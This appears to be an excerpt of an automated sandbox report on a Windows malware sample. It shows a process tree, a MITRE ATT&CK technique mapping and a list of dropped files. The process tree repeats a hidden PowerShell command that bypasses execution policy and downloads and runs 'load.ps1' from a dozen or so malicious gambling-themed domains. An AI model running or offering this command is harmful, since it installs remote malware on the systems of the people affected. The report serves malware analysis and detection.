                                                                                                                                                                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                      • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                                                                                                                      • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                      PID:2740
                                                                                                                                                                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                      explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')"
                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                        PID:1672
                                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')"
                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                        • Badlisted process makes network request
                                                                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                        PID:2476
                                                                                                                                                                                                                                                                      • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                        • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                                                                                                        • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                        PID:5724
                                                                                                                                                                                                                                                                      • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                        explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')"
                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                          PID:6644
                                                                                                                                                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                          explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')"
                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                            PID:6692
                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                            powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')"
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                            • Badlisted process makes network request
                                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                            PID:6700
                                                                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                            C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                            • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                                                                                            • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                            PID:6804
                                                                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                            C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                            • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                                                                                            • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                            PID:6988
                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                            powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')"
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                            • Badlisted process makes network request
                                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                            PID:7040
                                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                              PID:5776
                                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                              powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')"
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                              • Badlisted process makes network request
                                                                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                              PID:6408
                                                                                                                                                                                                                                                                            • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                              explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')"
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                PID:1316
                                                                                                                                                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                                                                                • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                PID:3368
                                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')"
                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                • Badlisted process makes network request
                                                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                PID:6868
                                                                                                                                                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')"
                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                  PID:5524
                                                                                                                                                                                                                                                                                • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                  C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                                                                                  • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                  PID:6064
                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                  powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')"
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                  • Badlisted process makes network request
                                                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                  PID:6552
                                                                                                                                                                                                                                                                                • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                  explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')"
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                    PID:6624
                                                                                                                                                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                    • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                                                                                                    • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                    PID:6816
                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                      PID:1468
                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                      powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')"
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                      • Badlisted process makes network request
                                                                                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                      PID:6496
                                                                                                                                                                                                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                        PID:2268
                                                                                                                                                                                                                                                                                      • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                        explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')"
                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                          PID:2420
                                                                                                                                                                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                          C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                          • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                                                                          • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                          • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                          PID:6784
                                                                                                                                                                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                          explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')"
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                            PID:6628
                                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                            powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')"
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                            • Badlisted process makes network request
                                                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                            PID:5004
                                                                                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                            C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                            • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                                                                                                            • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                            PID:3992
                                                                                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                            explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')"
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                              PID:4664
                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                              powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')"
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Badlisted process makes network request
                                                                                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                              PID:2052
                                                                                                                                                                                                                                                                                            • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                              C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                                                                              • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                              PID:4976
                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                              powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')"
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Badlisted process makes network request
                                                                                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                              PID:3760
                                                                                                                                                                                                                                                                                            • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                              explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')"
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                PID:904
                                                                                                                                                                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                                                                                                • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                PID:6748
                                                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')"
                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                • Badlisted process makes network request
                                                                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                PID:4352
                                                                                                                                                                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')"
                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                  PID:6716
                                                                                                                                                                                                                                                                                                • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                                                                                                  • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                  PID:2080
                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                  powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')"
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                  • Badlisted process makes network request
                                                                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                  PID:6852
                                                                                                                                                                                                                                                                                                • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                  explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')"
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                    PID:2936
                                                                                                                                                                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                    • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                                                                                                                    • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                    PID:2560
                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                    powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')"
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                    • Badlisted process makes network request
                                                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                    PID:6648
                                                                                                                                                                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                    explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')"
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                      PID:5140
                                                                                                                                                                                                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                      • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                                                                                                                                                      • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                      PID:4484
                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString("http://kent-casino-ury.buzz/load.ps1")"
                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                      PID:1312

                                                                                                                                                                                                                                                                                                    Network

                                                                                                                                                                                                                                                                                                          MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                                                                                                          Reconnaissance

                                                                                                                                                                                                                                                                                                          Resource Development

                                                                                                                                                                                                                                                                                                          Initial Access

                                                                                                                                                                                                                                                                                                          Execution

                                                                                                                                                                                                                                                                                                          Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                                                                                          T1059

                                                                                                                                                                                                                                                                                                          PowerShell

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1059.001

                                                                                                                                                                                                                                                                                                          Windows Command Shell

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1059.003

                                                                                                                                                                                                                                                                                                          Scheduled Task/Job

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1053

                                                                                                                                                                                                                                                                                                          Scheduled Task

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1053.005

                                                                                                                                                                                                                                                                                                          Persistence

                                                                                                                                                                                                                                                                                                          Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                                                                                          T1547

                                                                                                                                                                                                                                                                                                          Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1547.001

                                                                                                                                                                                                                                                                                                          Winlogon Helper DLL

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1547.004

                                                                                                                                                                                                                                                                                                          Boot or Logon Initialization Scripts

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1037

                                                                                                                                                                                                                                                                                                          Logon Script (Windows)

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1037.001

                                                                                                                                                                                                                                                                                                          Event Triggered Execution

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1546

                                                                                                                                                                                                                                                                                                          Image File Execution Options Injection

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1546.012

                                                                                                                                                                                                                                                                                                          Scheduled Task/Job

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1053

                                                                                                                                                                                                                                                                                                          Scheduled Task

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1053.005

                                                                                                                                                                                                                                                                                                          Privilege Escalation

                                                                                                                                                                                                                                                                                                          Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                                                                                          T1547

                                                                                                                                                                                                                                                                                                          Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1547.001

                                                                                                                                                                                                                                                                                                          Winlogon Helper DLL

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1547.004

                                                                                                                                                                                                                                                                                                          Boot or Logon Initialization Scripts

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1037

                                                                                                                                                                                                                                                                                                          Logon Script (Windows)

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1037.001

                                                                                                                                                                                                                                                                                                          Event Triggered Execution

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1546

                                                                                                                                                                                                                                                                                                          Image File Execution Options Injection

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1546.012

                                                                                                                                                                                                                                                                                                          Scheduled Task/Job

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1053

                                                                                                                                                                                                                                                                                                          Scheduled Task

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1053.005

                                                                                                                                                                                                                                                                                                          Defense Evasion

                                                                                                                                                                                                                                                                                                          Modify Registry

                                                                                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                                                                                          T1112

                                                                                                                                                                                                                                                                                                          Credential Access

                                                                                                                                                                                                                                                                                                          Discovery

                                                                                                                                                                                                                                                                                                          Query Registry

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1012

                                                                                                                                                                                                                                                                                                          System Information Discovery

                                                                                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                                                                                          T1082

                                                                                                                                                                                                                                                                                                          System Location Discovery

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1614

                                                                                                                                                                                                                                                                                                          System Language Discovery

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1614.001

                                                                                                                                                                                                                                                                                                          System Network Configuration Discovery

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1016

                                                                                                                                                                                                                                                                                                          Lateral Movement

                                                                                                                                                                                                                                                                                                          Collection

                                                                                                                                                                                                                                                                                                          Command and Control

                                                                                                                                                                                                                                                                                                          Exfiltration

                                                                                                                                                                                                                                                                                                          Impact

                                                                                                                                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                          Downloads

                                                                                                                                                                                                                                                                                                          powershell.exe.log
                                                                                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                                                                                                                                                                                                                          • Size 2KB
                                                                                                                                                                                                                                                                                                          • SHA256 81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122
                                                                                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                                                                                          [email protected]
                                                                                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\[email protected]
                                                                                                                                                                                                                                                                                                          • Size 1KB
                                                                                                                                                                                                                                                                                                          • SHA256 75e954995428d190bebd168d365ff44c9b0f6f2329dafd9e223a2a2f148432ba
                                                                                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                                                                                          iconcache_idx.db
                                                                                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db
                                                                                                                                                                                                                                                                                                          • Size 28KB
                                                                                                                                                                                                                                                                                                          • SHA256 db13e8259d60c2de58bfe4e1f1c6b0116da4667f4e38bb165490ba92482d272e
                                                                                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                                                                                          ModuleAnalysisCache
                                                                                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                                                                                                                                                                                                                                                                          • Size 54KB
                                                                                                                                                                                                                                                                                                          • SHA256 828df00affb52b352ce47c7efc96359af31278814bff71da1e14024c944195fe
                                                                                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                                                                                          StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Size 1KB
